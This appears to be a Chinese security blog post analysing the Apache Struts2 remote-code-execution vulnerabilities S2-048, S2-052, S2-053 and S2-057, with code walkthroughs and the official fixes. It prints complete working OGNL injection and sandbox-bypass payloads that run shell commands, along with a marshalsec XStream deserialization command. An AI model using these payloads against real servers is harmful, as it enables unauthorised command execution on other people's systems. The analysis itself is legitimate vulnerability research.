name=%25{(%23nike%3d'multipart/form-data').(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context['com.opensymphony.xwork2.ActionContext.container']).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3d'open+-a+calculator').(%23iswin%3d(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3d(%23iswin%3f{'cmd.exe','/c',%23cmd}%3a{'/bin/bash','-c',%23cmd})).(%23p%3dnew+java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3d%23p.start()).(%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream(),%23ros)).(%23ros.flush())}&age=a&__checkbox_bustedBefore=true&description=a

S2-048漏洞问题出现在struts2-struts1-plugin-2.3.32.jar 插件,这个插件的作用是可以让struts2能够兼容struts1的代码。

struts2-struts1-plugin-2.3.32-sources.jar!/org/apache/struts2/s1/Struts1Action.java

首先调用对应的action处理请求,处理完成后会产生消息,进入了getText方法,先跟进execute方法:

src/apps/showcase/src/main/java/org/apache/struts2/showcase/integration/SaveGangsterAction.java

gform.getName()类似于$_POST['name'],直接将用户输入进行拼接。

struts2-struts1-plugin-2.3.32-sources.jar!/org/apache/struts2/s1/Struts1Action.java

可以看到ognl表达是已经传入,接下来就是ognl的解析执行了。

防御

官方的修复建议是:

仍然是哪里出事补哪里。

s2-052

影响版本:Struts 2.1.6 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

payload

#使用marshalsec生成即可
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO touch /tmp/success

这个漏洞与前面所有漏洞都不一样,并不是ognl表达式注入漏洞,而是一个反序列化漏洞。struts2在处理传入的xml数据时,默认使用XStream进行unmarshal操作(将xml转化为java对象)。

首先请求会被struts2-rest-plugin-2.3.33-sources.jar!/org/apache/struts2/rest/ContentTypeInterceptor.java这个拦截器拦截:

struts2会通过Content-Type来选取对应的handler来处理数据:

struts2-rest-plugin-2.3.33-sources.jar!/org/apache/struts2/rest/DefaultContentTypeHandlerManager.java

接下来跟入toObject方法:

struts2-rest-plugin-2.3.33-sources.jar!/org/apache/struts2/rest/handler/XStreamHandler.java

接下来就由XStream来进行unmarshal操作:

xstream-1.4.8-sources.jar!/com/thoughtworks/xstream/XStream.java

关于调用链和其他,我们放在反序列化中的部分来说。

防御

在进行unmarshal操作时加入了白名单:

struts2-rest-plugin-2.3.34-sources.jar!/org/apache/struts2/rest/handler/XStreamHandler.java

s2-053

影响版本:Struts 2.0.0 - 2.3.33、Struts 2.5 - Struts 2.5.10.1

payload

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}

漏洞本身没什么好说的,Freemarker标签中使用了表达式导致二次渲染,执行了恶意ognl表达式。

重点来看防御。

防御

在s2-053之后,struts2官方似乎终于要从根本上解决问题了。

首先在2.5.12这个版本中,将excludedPackageNames设为了UnmodifiableSet类型的对象,使黑名单成了不可变的集合,这样payload中的ognlUtil.getExcludedClasses().clear()就失效了。

struts2-core-2.5.16-sources.jar!/com/opensymphony/xwork2/ognl/OgnlUtil.java

2.5.13/2.3.34版本之后,禁止了对context.map的访问。

ognl-3.0.21.jar!/ognl/OgnlContext.class

图片来自Lucifaer师傅的文章浅析OGNL的攻防史,侵删。

s2-057

影响版本:Struts 2.0.4 - Struts 2.3.34, Struts 2.5.0 - Struts 2.5.16

payload

#struts 2.3.34
${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@[email protected])).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@[email protected](@[email protected]().exec('whoami').getInputStream()))).(#w.close())}

#struts 2.5.16 需要发两次请求
%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}

%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('open -a calculator'))}

需要一些特殊配置:

<!--    s2-057必须开启-->
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

<action name="s2057" class="cn.seaii.s2057.action.IndexAction">
  <result name="" type="redirectAction">
    <param name="actionName">test</param>
  </result>
</action>

根据action的返回值(success、error、redirect等)来调用相应的类来处理。

xwork-core-2.3.34-sources.jar!/com/opensymphony/xwork2/DefaultActionInvocation.java

struts2-core-2.3.34-sources.jar!/org/apache/struts2/dispatcher/ServletActionRedirectResult.java

继续向下跟进就会看到跳转的url进行了ognl表达式的解析:

struts2-core-2.3.34-sources.jar!/org/apache/struts2/dispatcher/StrutsResultSupport.java

我们重点来看沙箱的绕过:

对于2.3.x版本,我们在s2-053的防御中提到过,只是禁止了context.map的访问,即无法通过#context来获取到OgnlContext对象,但是clear方法仍然可以使用,所以我们的目标转为获取OgnlContext对象:

ognl-3.0.21-sources.jar!/ognl/OgnlContext.java

我们在#request中(#attr也可以)拿到了我们想要的context对象,接下来就与s2-045的构造相同了。

对于2.5.x版本,不止禁止了context.map的访问,还将黑名单变为了不可变集合。

clear方法不能用了,我们仍然可以调用setter方法将黑名单置空,但是这样做存在一个问题:

当我们使用OgnlUtil的setExcludedClasses和setExcludedPackageNames将黑名单置空时并非是对于源(全局的OgnlUtil)进行置空,也就是说_memberAccess是源数据的一个引用,就像前文所说的,在每次createAction时都是通过setOgnlUtil利用全局的源数据创建一个引用,这个引用就是一个MemberAccess对象,也就是_memberAccess。所以这里只会影响这次请求的OgnlUtil而并未重新创建一个新的_memberAccess对象,所以旧的_memberAccess对象仍未改变。

而突破这种限制的方式就是再次发送一个请求,将上一次请求已经置空的OgnlUitl作为源重新创建一个_memberAccess,这样在第二次请求中_memberAccess就是黑名单被置空的情况,这个时候就释放了DefaultMemberAccess,就可以进行正常的覆盖以及执行静态方法。

所以我们需要发两次请求,第一次请求将黑名单置空,第二次请求重新创建一个没有任何限制的memberAccess,从而绕过沙箱执行命令。

防御

在2.5.17中,struts官方直接把com.opensymphony.xwork2.ognl给加入了黑名单:

同时黑名单需要用构造函数进行赋值:

struts2-core-2.5.17-sources.jar!/com/opensymphony/xwork2/ognl/OgnlUtil.java

在后续版本中ognl的沙盒又进行了好几波加强,可以参考Lucifaer师傅的文章浅析OGNL的攻防史的第四部分,写的非常详细。

0x03 参考链接

https://www.anquanke.com/post/id/169735

https://www.secpulse.com/archives/82578.html

https://www.kingkk.com/2018/08/从零开始学习struts2-S2-001

Struts2 历史 RCE 漏洞回顾不完全系列

https://github.com/vulhub/vulhub/blob/master/struts2/README.md

https://github.com/Medicean/VulApps/blob/master/s/struts2/README.md

标签: struts2, java